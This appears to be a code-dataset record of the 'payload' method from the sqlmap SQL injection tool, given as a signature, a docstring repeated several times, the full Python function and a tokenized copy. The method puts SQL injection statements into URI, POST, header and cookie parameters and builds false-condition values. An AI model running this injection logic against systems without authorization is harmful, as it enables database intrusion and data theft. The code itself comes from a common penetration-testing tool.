(self, place=None, parameter=None, value=None, newValue=None, where=None)
return retVal
This method replaces the affected parameter with the SQL
        injection statement to request
This method replaces the affected parameter with the SQL
        injection statement to request
This method replaces the affected parameter with the SQL injection statement to request
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """
        This method replaces the affected parameter with the SQL
        injection statement to request
        """

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = ""

        if kb.forceWhere:
            where = kb.forceWhere
        elif where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^"\[,]+\Z)', origValue)
            else:
                _ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
                origValue = _.split('=', 1)[1] if '=' in _ else ""
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]
            match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
            if match:
                origValue = match.group("value")
            elif ',' in paramString:
                header = paramString.split(',')[0]

                if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
                    origValue = origValue.split(' ')[-1].split(':')[-1]

        if conf.prefix:
            value = origValue

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else ""):]
                    _ = randomInt(2)
                    value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
                elif conf.invalidBignum:
                    value = randomInt(6)
                elif conf.invalidString:
                    value = randomStr(6)
                else:
                    if newValue.startswith("-"):
                        value = ""
                    else:
                        value = "-%s" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = ""
            else:
                value = origValue

            newValue = "%s%s" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString:
                newValue = '"%s"' % newValue
            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString:
                newValue = "'%s'" % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            def _(pattern, repl, string):
                retVal = string
                match = None
                for match in re.finditer(pattern, string):
                    pass

                if match:
                    while True:
                        _ = re.search(r"\\g<([^>]+)>", repl)
                        if _:
                            try:
                                repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                            except IndexError:
                                break
                        else:
                            break
                    retVal = string[:match.start()] + repl + string[match.end():]
                return retVal

            if origValue:
                regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
                retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
            else:
                retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)

            if retVal == paramString and urlencode(parameter) != parameter:
                retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)

        if retVal:
            retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')

        return retVal
def payload ( self , place = None , parameter = None , value = None , newValue = None , where = None ) : if conf . direct : return self . payloadDirect ( newValue ) retVal = "" if kb . forceWhere : where = kb . forceWhere elif where is None and isTechniqueAvailable ( kb . technique ) : where = kb . injection . data [ kb . technique ] . where if kb . injection . place is not None : place = kb . injection . place if kb . injection . parameter is not None : parameter = kb . injection . parameter paramString = conf . parameters [ place ] paramDict = conf . paramDict [ place ] origValue = getUnicode ( paramDict [ parameter ] ) if place == PLACE . URI : paramString = origValue origValue = origValue . split ( CUSTOM_INJECTION_MARK_CHAR ) [ 0 ] origValue = origValue [ origValue . rfind ( '/' ) + 1 : ] for char in ( '?' , '=' , ':' ) : if char in origValue : origValue = origValue [ origValue . rfind ( char ) + 1 : ] elif place == PLACE . CUSTOM_POST : paramString = origValue origValue = origValue . split ( CUSTOM_INJECTION_MARK_CHAR ) [ 0 ] if kb . postHint in ( POST_HINT . SOAP , POST_HINT . XML ) : origValue = origValue . split ( '>' ) [ - 1 ] elif kb . postHint in ( POST_HINT . JSON , POST_HINT . JSON_LIKE ) : origValue = extractRegexResult ( r"(?s)\"\s*:\s*(?P<result>\d+\Z)" , origValue ) or extractRegexResult ( r'(?s)\s*(?P<result>[^"\[,]+\Z)' , origValue ) else : _ = extractRegexResult ( r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)" , origValue ) or "" origValue = _ . split ( '=' , 1 ) [ 1 ] if '=' in _ else "" elif place == PLACE . CUSTOM_HEADER : paramString = origValue origValue = origValue . split ( CUSTOM_INJECTION_MARK_CHAR ) [ 0 ] origValue = origValue [ origValue . index ( ',' ) + 1 : ] match = re . search ( r"([^;]+)=(?P<value>[^;]+);?\Z" , origValue ) if match : origValue = match . group ( "value" ) elif ',' in paramString : header = paramString . split ( ',' ) [ 0 ] if header . upper ( ) == HTTP_HEADER . AUTHORIZATION . upper ( ) : origValue = origValue . split ( ' ' ) [ - 1 ] . split ( ':' ) [ - 1 ] if conf . prefix : value = origValue if value is None : if where == PAYLOAD . WHERE . ORIGINAL : value = origValue elif where == PAYLOAD . WHERE . NEGATIVE : if conf . invalidLogical : match = re . search ( r'\A[^ ]+' , newValue ) newValue = newValue [ len ( match . group ( ) if match else "" ) : ] _ = randomInt ( 2 ) value = "%s%s AND %s=%s" % ( origValue , match . group ( ) if match else "" , _ , _ + 1 ) elif conf . invalidBignum : value = randomInt ( 6 ) elif conf . invalidString : value = randomStr ( 6 ) else : if newValue . startswith ( "-" ) : value = "" else : value = "-%s" % randomInt ( ) elif where == PAYLOAD . WHERE . REPLACE : value = "" else : value = origValue newValue = "%s%s" % ( value , newValue ) newValue = self . cleanupPayload ( newValue , origValue ) if place in ( PLACE . URI , PLACE . CUSTOM_POST , PLACE . CUSTOM_HEADER ) : _ = "%s%s" % ( origValue , CUSTOM_INJECTION_MARK_CHAR ) if kb . postHint == POST_HINT . JSON and not isNumber ( newValue ) and not '"%s"' % _ in paramString : newValue = '"%s"' % newValue elif kb . postHint == POST_HINT . JSON_LIKE and not isNumber ( newValue ) and not "'%s'" % _ in paramString : newValue = "'%s'" % newValue newValue = newValue . replace ( CUSTOM_INJECTION_MARK_CHAR , REPLACEMENT_MARKER ) retVal = paramString . replace ( _ , self . addPayloadDelimiters ( newValue ) ) retVal = retVal . replace ( CUSTOM_INJECTION_MARK_CHAR , "" ) . replace ( REPLACEMENT_MARKER , CUSTOM_INJECTION_MARK_CHAR ) elif place in ( PLACE . USER_AGENT , PLACE . REFERER , PLACE . HOST ) : retVal = paramString . replace ( origValue , self . addPayloadDelimiters ( newValue ) ) else : def _ ( pattern , repl , string ) : retVal = string match = None for match in re . finditer ( pattern , string ) : pass if match : while True : _ = re . search ( r"\\g<([^>]+)>" , repl ) if _ : try : repl = repl . replace ( _ . group ( 0 ) , match . group ( int ( _ . group ( 1 ) ) if _ . group ( 1 ) . isdigit ( ) else _ . group ( 1 ) ) ) except IndexError : break else : break retVal = string [ : match . start ( ) ] + repl + string [ match . end ( ) : ] return retVal if origValue : regex = r"(\A|\b)%s=%s%s" % ( re . escape ( parameter ) , re . escape ( origValue ) , r"(\Z|\b)" if origValue [ - 1 ] . isalnum ( ) else "" ) retVal = _ ( regex , "%s=%s" % ( parameter , self . addPayloadDelimiters ( newValue ) ) , paramString ) else : retVal = _ ( r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % ( re . escape ( parameter ) , re . escape ( origValue ) , DEFAULT_GET_POST_DELIMITER , DEFAULT_COOKIE_DELIMITER ) , "%s=%s\g<2>" % ( parameter , self . addPayloadDelimiters ( newValue ) ) , paramString ) if retVal == paramString and urlencode ( parameter ) != parameter : retVal = _ ( r"(\A|\b)%s=%s" % ( re . escape ( urlencode ( parameter ) ) , re . escape ( origValue ) ) , "%s=%s" % ( urlencode ( parameter ) , self . addPayloadDelimiters ( newValue ) ) , paramString ) if retVal : retVal = retVal . replace ( BOUNDARY_BACKSLASH_MARKER , '\\' ) return retVal